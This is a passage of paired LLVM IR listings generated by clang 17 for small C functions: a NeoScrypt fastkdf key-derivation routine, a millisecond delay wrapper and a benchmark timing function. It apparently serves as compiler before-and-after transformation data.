%213 = call i32 @neoscrypt_copy(ptr noundef %207, ptr noundef %209, i32 noundef %212)
br label %214
214: ; preds = %205, %201
br label %215
215: ; preds = %214, %198
br label %216
216: ; preds = %215
%217 = load i32, ptr %23, align 4
%218 = add i32 %217, 1
store i32 %218, ptr %23, align 4
br label %137, !llvm.loop !10
219: ; preds = %137
%220 = load i32, ptr %14, align 4
%221 = icmp ugt i32 %220, 256
br i1 %221, label %222, label %223
222: ; preds = %219
store i32 256, ptr %14, align 4
br label %223
223: ; preds = %222, %219
%224 = load i32, ptr %20, align 4
%225 = sub i32 256, %224
store i32 %225, ptr %21, align 4
%226 = load i32, ptr %21, align 4
%227 = load i32, ptr %14, align 4
%228 = icmp uge i32 %226, %227
br i1 %228, label %229, label %246
229: ; preds = %223
%230 = load ptr, ptr %26, align 8
%231 = load i32, ptr %20, align 4
%232 = zext i32 %231 to i64
%233 = getelementptr inbounds i8, ptr %230, i64 %232
%234 = load ptr, ptr %25, align 8
%235 = getelementptr inbounds i8, ptr %234, i64 0
%236 = load i32, ptr %14, align 4
%237 = call i32 @neoscrypt_xor(ptr noundef %233, ptr noundef %235, i32 noundef %236)
%238 = load ptr, ptr %13, align 8
%239 = getelementptr inbounds i8, ptr %238, i64 0
%240 = load ptr, ptr %26, align 8
%241 = load i32, ptr %20, align 4
%242 = zext i32 %241 to i64
%243 = getelementptr inbounds i8, ptr %240, i64 %242
%244 = load i32, ptr %14, align 4
%245 = call i32 @neoscrypt_copy(ptr noundef %239, ptr noundef %243, i32 noundef %244)
br label %283
246: ; preds = %223
%247 = load ptr, ptr %26, align 8
%248 = load i32, ptr %20, align 4
%249 = zext i32 %248 to i64
%250 = getelementptr inbounds i8, ptr %247, i64 %249
%251 = load ptr, ptr %25, align 8
%252 = getelementptr inbounds i8, ptr %251, i64 0
%253 = load i32, ptr %21, align 4
%254 = call i32 @neoscrypt_xor(ptr noundef %250, ptr noundef %252, i32 noundef %253)
%255 = load ptr, ptr %26, align 8
%256 = getelementptr inbounds i8, ptr %255, i64 0
%257 = load ptr, ptr %25, align 8
%258 = load i32, ptr %21, align 4
%259 = zext i32 %258 to i64
%260 = getelementptr inbounds i8, ptr %257, i64 %259
%261 = load i32, ptr %14, align 4
%262 = load i32, ptr %21, align 4
%263 = sub i32 %261, %262
%264 = call i32 @neoscrypt_xor(ptr noundef %256, ptr noundef %260, i32 noundef %263)
%265 = load ptr, ptr %13, align 8
%266 = getelementptr inbounds i8, ptr %265, i64 0
%267 = load ptr, ptr %26, align 8
%268 = load i32, ptr %20, align 4
%269 = zext i32 %268 to i64
%270 = getelementptr inbounds i8, ptr %267, i64 %269
%271 = load i32, ptr %21, align 4
%272 = call i32 @neoscrypt_copy(ptr noundef %266, ptr noundef %270, i32 noundef %271)
%273 = load ptr, ptr %13, align 8
%274 = load i32, ptr %21, align 4
%275 = zext i32 %274 to i64
%276 = getelementptr inbounds i8, ptr %273, i64 %275
%277 = load ptr, ptr %26, align 8
%278 = getelementptr inbounds i8, ptr %277, i64 0
%279 = load i32, ptr %14, align 4
%280 = load i32, ptr %21, align 4
%281 = sub i32 %279, %280
%282 = call i32 @neoscrypt_copy(ptr noundef %276, ptr noundef %278, i32 noundef %281)
br label %283
283: ; preds = %246, %229
%284 = load ptr, ptr %30, align 8
call void @llvm.stackrestore(ptr %284)
ret void
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @neoscrypt_copy(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @neoscrypt_blake2s(ptr noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @neoscrypt_xor(ptr noundef, ptr noundef, i32 noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpgntooi59.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @neoscrypt_fastkdf(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, i32 noundef %4, ptr noundef %5, i32 noundef %6) #0 {
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca i32, align 4
%15 = alloca i64, align 8
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca i32, align 4
%19 = alloca i32, align 4
%20 = alloca i32, align 4
%21 = alloca i32, align 4
%22 = alloca i32, align 4
%23 = alloca i32, align 4
%24 = alloca i32, align 4
%25 = alloca ptr, align 8
%26 = alloca ptr, align 8
%27 = alloca ptr, align 8
%28 = alloca ptr, align 8
%29 = alloca ptr, align 8
%30 = alloca ptr, align 8
store ptr %0, ptr %8, align 8
store i32 %1, ptr %9, align 4
store ptr %2, ptr %10, align 8
store i32 %3, ptr %11, align 4
store i32 %4, ptr %12, align 4
store ptr %5, ptr %13, align 8
store i32 %6, ptr %14, align 4
store i64 64, ptr %15, align 8
store i32 256, ptr %16, align 4
store i32 64, ptr %17, align 4
store i32 32, ptr %18, align 4
store i32 32, ptr %19, align 4
%31 = call ptr @llvm.stacksave()
store ptr %31, ptr %30, align 8
%32 = alloca i8, i64 704, align 16
%33 = ptrtoint ptr %32 to i64
%34 = and i64 %33, -64
%35 = add i64 %34, 64
%36 = inttoptr i64 %35 to ptr
store ptr %36, ptr %25, align 8
%37 = load ptr, ptr %25, align 8
%38 = getelementptr inbounds i8, ptr %37, i64 320
store ptr %38, ptr %26, align 8
%39 = load ptr, ptr %25, align 8
%40 = getelementptr inbounds i8, ptr %39, i64 608
store ptr %40, ptr %29, align 8
%41 = load i32, ptr %9, align 4
%42 = icmp ugt i32 %41, 256
br i1 %42, label %43, label %44
43: ; preds = %7
store i32 256, ptr %9, align 4
br label %44
44: ; preds = %43, %7
%45 = load i32, ptr %9, align 4
%46 = udiv i32 256, %45
store i32 %46, ptr %21, align 4
store i32 0, ptr %23, align 4
%47 = load i32, ptr %23, align 4
%48 = load i32, ptr %21, align 4
%49 = icmp ult i32 %47, %48
br i1 %49, label %.lr.ph, label %67
.lr.ph: ; preds = %44
br label %50
50: ; preds = %.lr.ph, %61
%51 = load ptr, ptr %25, align 8
%52 = load i32, ptr %23, align 4
%53 = load i32, ptr %9, align 4
%54 = mul i32 %52, %53
%55 = zext i32 %54 to i64
%56 = getelementptr inbounds i8, ptr %51, i64 %55
%57 = load ptr, ptr %8, align 8
%58 = getelementptr inbounds i8, ptr %57, i64 0
%59 = load i32, ptr %9, align 4
%60 = call i32 @neoscrypt_copy(ptr noundef %56, ptr noundef %58, i32 noundef %59)
br label %61
61: ; preds = %50
%62 = load i32, ptr %23, align 4
%63 = add i32 %62, 1
store i32 %63, ptr %23, align 4
%64 = load i32, ptr %23, align 4
%65 = load i32, ptr %21, align 4
%66 = icmp ult i32 %64, %65
br i1 %66, label %50, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %61
br label %67
67: ; preds = %._crit_edge, %44
%68 = load i32, ptr %21, align 4
%69 = load i32, ptr %9, align 4
%70 = mul i32 %68, %69
%71 = sub i32 256, %70
store i32 %71, ptr %22, align 4
%72 = load i32, ptr %22, align 4
%73 = icmp ne i32 %72, 0
br i1 %73, label %74, label %85
74: ; preds = %67
%75 = load ptr, ptr %25, align 8
%76 = load i32, ptr %21, align 4
%77 = load i32, ptr %9, align 4
%78 = mul i32 %76, %77
%79 = zext i32 %78 to i64
%80 = getelementptr inbounds i8, ptr %75, i64 %79
%81 = load ptr, ptr %8, align 8
%82 = getelementptr inbounds i8, ptr %81, i64 0
%83 = load i32, ptr %22, align 4
%84 = call i32 @neoscrypt_copy(ptr noundef %80, ptr noundef %82, i32 noundef %83)
br label %85
85: ; preds = %74, %67
%86 = load ptr, ptr %25, align 8
%87 = getelementptr inbounds i8, ptr %86, i64 256
%88 = load ptr, ptr %8, align 8
%89 = getelementptr inbounds i8, ptr %88, i64 0
%90 = call i32 @neoscrypt_copy(ptr noundef %87, ptr noundef %89, i32 noundef 64)
%91 = load i32, ptr %11, align 4
%92 = icmp ugt i32 %91, 256
br i1 %92, label %93, label %94
93: ; preds = %85
store i32 256, ptr %11, align 4
br label %94
94: ; preds = %93, %85
%95 = load i32, ptr %11, align 4
%96 = udiv i32 256, %95
store i32 %96, ptr %21, align 4
store i32 0, ptr %23, align 4
%97 = load i32, ptr %23, align 4
%98 = load i32, ptr %21, align 4
%99 = icmp ult i32 %97, %98
br i1 %99, label %.lr.ph2, label %117
.lr.ph2: ; preds = %94
br label %100
100: ; preds = %.lr.ph2, %111
%101 = load ptr, ptr %26, align 8
%102 = load i32, ptr %23, align 4
%103 = load i32, ptr %11, align 4
%104 = mul i32 %102, %103
%105 = zext i32 %104 to i64
%106 = getelementptr inbounds i8, ptr %101, i64 %105
%107 = load ptr, ptr %10, align 8
%108 = getelementptr inbounds i8, ptr %107, i64 0
%109 = load i32, ptr %11, align 4
%110 = call i32 @neoscrypt_copy(ptr noundef %106, ptr noundef %108, i32 noundef %109)
br label %111
111: ; preds = %100
%112 = load i32, ptr %23, align 4
%113 = add i32 %112, 1
store i32 %113, ptr %23, align 4
%114 = load i32, ptr %23, align 4
%115 = load i32, ptr %21, align 4
%116 = icmp ult i32 %114, %115
br i1 %116, label %100, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %111
br label %117
117: ; preds = %._crit_edge3, %94
%118 = load i32, ptr %21, align 4
%119 = load i32, ptr %11, align 4
%120 = mul i32 %118, %119
%121 = sub i32 256, %120
store i32 %121, ptr %22, align 4
%122 = load i32, ptr %22, align 4
%123 = icmp ne i32 %122, 0
br i1 %123, label %124, label %135
124: ; preds = %117
%125 = load ptr, ptr %26, align 8
%126 = load i32, ptr %21, align 4
%127 = load i32, ptr %11, align 4
%128 = mul i32 %126, %127
%129 = zext i32 %128 to i64
%130 = getelementptr inbounds i8, ptr %125, i64 %129
%131 = load ptr, ptr %10, align 8
%132 = getelementptr inbounds i8, ptr %131, i64 0
%133 = load i32, ptr %22, align 4
%134 = call i32 @neoscrypt_copy(ptr noundef %130, ptr noundef %132, i32 noundef %133)
br label %135
135: ; preds = %124, %117
%136 = load ptr, ptr %26, align 8
%137 = getelementptr inbounds i8, ptr %136, i64 256
%138 = load ptr, ptr %10, align 8
%139 = getelementptr inbounds i8, ptr %138, i64 0
%140 = call i32 @neoscrypt_copy(ptr noundef %137, ptr noundef %139, i32 noundef 32)
store i32 0, ptr %23, align 4
store i32 0, ptr %20, align 4
%141 = load i32, ptr %23, align 4
%142 = load i32, ptr %12, align 4
%143 = icmp ult i32 %141, %142
br i1 %143, label %.lr.ph8, label %226
.lr.ph8: ; preds = %135
br label %144
144: ; preds = %.lr.ph8, %220
%145 = load ptr, ptr %25, align 8
%146 = load i32, ptr %20, align 4
%147 = zext i32 %146 to i64
%148 = getelementptr inbounds i8, ptr %145, i64 %147
store ptr %148, ptr %27, align 8
%149 = load ptr, ptr %26, align 8
%150 = load i32, ptr %20, align 4
%151 = zext i32 %150 to i64
%152 = getelementptr inbounds i8, ptr %149, i64 %151
store ptr %152, ptr %28, align 8
%153 = load ptr, ptr %27, align 8
%154 = load ptr, ptr %28, align 8
%155 = load ptr, ptr %29, align 8
%156 = call i32 @neoscrypt_blake2s(ptr noundef %153, i32 noundef 64, ptr noundef %154, i32 noundef 32, ptr noundef %155, i32 noundef 32)
store i32 0, ptr %24, align 4
store i32 0, ptr %20, align 4
%157 = load i32, ptr %24, align 4
%158 = icmp ult i32 %157, 32
br i1 %158, label %.lr.ph5, label %173
.lr.ph5: ; preds = %144
br label %159
159: ; preds = %.lr.ph5, %168
%160 = load ptr, ptr %29, align 8
%161 = load i32, ptr %24, align 4
%162 = zext i32 %161 to i64
%163 = getelementptr inbounds i8, ptr %160, i64 %162
%164 = load i8, ptr %163, align 1
%165 = zext i8 %164 to i32
%166 = load i32, ptr %20, align 4
%167 = add i32 %166, %165
store i32 %167, ptr %20, align 4
br label %168
168: ; preds = %159
%169 = load i32, ptr %24, align 4
%170 = add i32 %169, 1
store i32 %170, ptr %24, align 4
%171 = load i32, ptr %24, align 4
%172 = icmp ult i32 %171, 32
br i1 %172, label %159, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %168
br label %173
173: ; preds = %._crit_edge6, %144
%174 = load i32, ptr %20, align 4
%175 = and i32 %174, 255
store i32 %175, ptr %20, align 4
%176 = load ptr, ptr %26, align 8
%177 = load i32, ptr %20, align 4
%178 = zext i32 %177 to i64
%179 = getelementptr inbounds i8, ptr %176, i64 %178
%180 = load ptr, ptr %29, align 8
%181 = getelementptr inbounds i8, ptr %180, i64 0
%182 = call i32 @neoscrypt_xor(ptr noundef %179, ptr noundef %181, i32 noundef 32)
%183 = load i32, ptr %20, align 4
%184 = icmp ult i32 %183, 32
br i1 %184, label %185, label %205
185: ; preds = %173
%186 = load ptr, ptr %26, align 8
%187 = load i32, ptr %20, align 4
%188 = add i32 256, %187
%189 = zext i32 %188 to i64
%190 = getelementptr inbounds i8, ptr %186, i64 %189
%191 = load ptr, ptr %26, align 8
%192 = load i32, ptr %20, align 4
%193 = zext i32 %192 to i64
%194 = getelementptr inbounds i8, ptr %191, i64 %193
%195 = load i32, ptr %20, align 4
%196 = sub i32 32, %195
%197 = icmp ult i32 32, %196
br i1 %197, label %198, label %199
198: ; preds = %185
br label %202
199: ; preds = %185
%200 = load i32, ptr %20, align 4
%201 = sub i32 32, %200
br label %202
202: ; preds = %199, %198
%203 = phi i32 [ 32, %198 ], [ %201, %199 ]
%204 = call i32 @neoscrypt_copy(ptr noundef %190, ptr noundef %194, i32 noundef %203)
br label %219
205: ; preds = %173
%206 = load i32, ptr %20, align 4
%207 = sub i32 256, %206
%208 = icmp ult i32 %207, 32
br i1 %208, label %209, label %218
209: ; preds = %205
%210 = load ptr, ptr %26, align 8
%211 = getelementptr inbounds i8, ptr %210, i64 0
%212 = load ptr, ptr %26, align 8
%213 = getelementptr inbounds i8, ptr %212, i64 256
%214 = load i32, ptr %20, align 4
%215 = sub i32 256, %214
%216 = sub i32 32, %215
%217 = call i32 @neoscrypt_copy(ptr noundef %211, ptr noundef %213, i32 noundef %216)
br label %218
218: ; preds = %209, %205
br label %219
219: ; preds = %218, %202
br label %220
220: ; preds = %219
%221 = load i32, ptr %23, align 4
%222 = add i32 %221, 1
store i32 %222, ptr %23, align 4
%223 = load i32, ptr %23, align 4
%224 = load i32, ptr %12, align 4
%225 = icmp ult i32 %223, %224
br i1 %225, label %144, label %._crit_edge9, !llvm.loop !10
._crit_edge9: ; preds = %220
br label %226
226: ; preds = %._crit_edge9, %135
%227 = load i32, ptr %14, align 4
%228 = icmp ugt i32 %227, 256
br i1 %228, label %229, label %230
229: ; preds = %226
store i32 256, ptr %14, align 4
br label %230
230: ; preds = %229, %226
%231 = load i32, ptr %20, align 4
%232 = sub i32 256, %231
store i32 %232, ptr %21, align 4
%233 = load i32, ptr %21, align 4
%234 = load i32, ptr %14, align 4
%235 = icmp uge i32 %233, %234
br i1 %235, label %236, label %253
236: ; preds = %230
%237 = load ptr, ptr %26, align 8
%238 = load i32, ptr %20, align 4
%239 = zext i32 %238 to i64
%240 = getelementptr inbounds i8, ptr %237, i64 %239
%241 = load ptr, ptr %25, align 8
%242 = getelementptr inbounds i8, ptr %241, i64 0
%243 = load i32, ptr %14, align 4
%244 = call i32 @neoscrypt_xor(ptr noundef %240, ptr noundef %242, i32 noundef %243)
%245 = load ptr, ptr %13, align 8
%246 = getelementptr inbounds i8, ptr %245, i64 0
%247 = load ptr, ptr %26, align 8
%248 = load i32, ptr %20, align 4
%249 = zext i32 %248 to i64
%250 = getelementptr inbounds i8, ptr %247, i64 %249
%251 = load i32, ptr %14, align 4
%252 = call i32 @neoscrypt_copy(ptr noundef %246, ptr noundef %250, i32 noundef %251)
br label %290
253: ; preds = %230
%254 = load ptr, ptr %26, align 8
%255 = load i32, ptr %20, align 4
%256 = zext i32 %255 to i64
%257 = getelementptr inbounds i8, ptr %254, i64 %256
%258 = load ptr, ptr %25, align 8
%259 = getelementptr inbounds i8, ptr %258, i64 0
%260 = load i32, ptr %21, align 4
%261 = call i32 @neoscrypt_xor(ptr noundef %257, ptr noundef %259, i32 noundef %260)
%262 = load ptr, ptr %26, align 8
%263 = getelementptr inbounds i8, ptr %262, i64 0
%264 = load ptr, ptr %25, align 8
%265 = load i32, ptr %21, align 4
%266 = zext i32 %265 to i64
%267 = getelementptr inbounds i8, ptr %264, i64 %266
%268 = load i32, ptr %14, align 4
%269 = load i32, ptr %21, align 4
%270 = sub i32 %268, %269
%271 = call i32 @neoscrypt_xor(ptr noundef %263, ptr noundef %267, i32 noundef %270)
%272 = load ptr, ptr %13, align 8
%273 = getelementptr inbounds i8, ptr %272, i64 0
%274 = load ptr, ptr %26, align 8
%275 = load i32, ptr %20, align 4
%276 = zext i32 %275 to i64
%277 = getelementptr inbounds i8, ptr %274, i64 %276
%278 = load i32, ptr %21, align 4
%279 = call i32 @neoscrypt_copy(ptr noundef %273, ptr noundef %277, i32 noundef %278)
%280 = load ptr, ptr %13, align 8
%281 = load i32, ptr %21, align 4
%282 = zext i32 %281 to i64
%283 = getelementptr inbounds i8, ptr %280, i64 %282
%284 = load ptr, ptr %26, align 8
%285 = getelementptr inbounds i8, ptr %284, i64 0
%286 = load i32, ptr %14, align 4
%287 = load i32, ptr %21, align 4
%288 = sub i32 %286, %287
%289 = call i32 @neoscrypt_copy(ptr noundef %283, ptr noundef %285, i32 noundef %288)
br label %290
290: ; preds = %253, %236
%291 = load ptr, ptr %30, align 8
call void @llvm.stackrestore(ptr %291)
ret void
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @neoscrypt_copy(ptr noundef, ptr noundef, i32 noundef) #2
declare i32 @neoscrypt_blake2s(ptr noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @neoscrypt_xor(ptr noundef, ptr noundef, i32 noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
|
; ModuleID = '/tmp/tmpyq9lkcsa.c'
source_filename = "/tmp/tmpyq9lkcsa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @delay_ms(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = mul nsw i32 %3, 1000
%5 = call i32 @usleep(i32 noundef %4)
ret void
}
declare i32 @usleep(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpyq9lkcsa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @delay_ms(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = mul nsw i32 %3, 1000
%5 = call i32 @usleep(i32 noundef %4)
ret void
}
declare i32 @usleep(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpen8t9up5.c'
source_filename = "/tmp/tmpen8t9up5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timeval = type { i32, i32 }
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [30 x i8] c"%s\09%zu B %9.3f ms\09%9.3f MB/s\09\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @time_function(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, i64 noundef %4) #0 {
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
%10 = alloca i64, align 8
%11 = alloca %struct.timeval, align 4
%12 = alloca %struct.timeval, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca i64, align 8
store ptr %0, ptr %6, align 8
store ptr %1, ptr %7, align 8
store ptr %2, ptr %8, align 8
store ptr %3, ptr %9, align 8
store i64 %4, ptr %10, align 8
%16 = call i32 @gettimeofday(ptr noundef %11, ptr noundef null)
store i64 0, ptr %15, align 8
br label %17
17: ; preds = %29, %5
%18 = load i64, ptr %15, align 8
%19 = load i64, ptr %10, align 8
%20 = icmp ult i64 %18, %19
br i1 %20, label %21, label %32
21: ; preds = %17
%22 = load ptr, ptr %6, align 8
%23 = load ptr, ptr %8, align 8
%24 = load i64, ptr %15, align 8
%25 = getelementptr inbounds i8, ptr %23, i64 %24
%26 = load ptr, ptr %9, align 8
%27 = load i64, ptr %15, align 8
%28 = getelementptr inbounds i8, ptr %26, i64 %27
call void %22(ptr noundef %25, ptr noundef %28)
br label %29
29: ; preds = %21
%30 = load i64, ptr %15, align 8
%31 = add i64 %30, 1
store i64 %31, ptr %15, align 8
br label %17, !llvm.loop !6
32: ; preds = %17
%33 = call i32 @gettimeofday(ptr noundef %12, ptr noundef null)
%34 = getelementptr inbounds %struct.timeval, ptr %12, i32 0, i32 0
%35 = load i32, ptr %34, align 4
%36 = getelementptr inbounds %struct.timeval, ptr %11, i32 0, i32 0
%37 = load i32, ptr %36, align 4
%38 = sub nsw i32 %35, %37
%39 = sitofp i32 %38 to double
%40 = getelementptr inbounds %struct.timeval, ptr %12, i32 0, i32 1
%41 = load i32, ptr %40, align 4
%42 = getelementptr inbounds %struct.timeval, ptr %11, i32 0, i32 1
%43 = load i32, ptr %42, align 4
%44 = sub nsw i32 %41, %43
%45 = sitofp i32 %44 to double
%46 = call double @llvm.fmuladd.f64(double 0x3EB0C6F7A0B5ED8D, double %45, double %39)
store double %46, ptr %13, align 8
%47 = load i64, ptr %10, align 8
%48 = mul i64 3, %47
%49 = uitofp i64 %48 to double
%50 = load double, ptr %13, align 8
%51 = fdiv double %49, %50
%52 = fdiv double %51, 1.000000e+06
store double %52, ptr %14, align 8
%53 = load i32, ptr @stderr, align 4
%54 = load ptr, ptr %7, align 8
%55 = load i64, ptr %10, align 8
%56 = mul i64 3, %55
%57 = load double, ptr %13, align 8
%58 = fmul double 1.000000e+03, %57
%59 = load double, ptr %14, align 8
%60 = call i32 (i32, ptr, ptr, ...) @fprintf(i32 noundef %53, ptr noundef @.str, ptr noundef %54, i64 noundef %56, double noundef %58, double noundef %59)
%61 = load ptr, ptr %8, align 8
%62 = getelementptr inbounds i8, ptr %61, i64 16
store i8 0, ptr %62, align 1
%63 = load i32, ptr @stderr, align 4
%64 = load ptr, ptr %8, align 8
%65 = call i32 (i32, ptr, ptr, ...) @fprintf(i32 noundef %63, ptr noundef @.str.1, ptr noundef %64)
ret void
}
declare i32 @gettimeofday(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpen8t9up5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timeval = type { i32, i32 }
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [30 x i8] c"%s\09%zu B %9.3f ms\09%9.3f MB/s\09\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @time_function(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, i64 noundef %4) #0 {
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
%10 = alloca i64, align 8
%11 = alloca %struct.timeval, align 4
%12 = alloca %struct.timeval, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca i64, align 8
store ptr %0, ptr %6, align 8
store ptr %1, ptr %7, align 8
store ptr %2, ptr %8, align 8
store ptr %3, ptr %9, align 8
store i64 %4, ptr %10, align 8
%16 = call i32 @gettimeofday(ptr noundef %11, ptr noundef null)
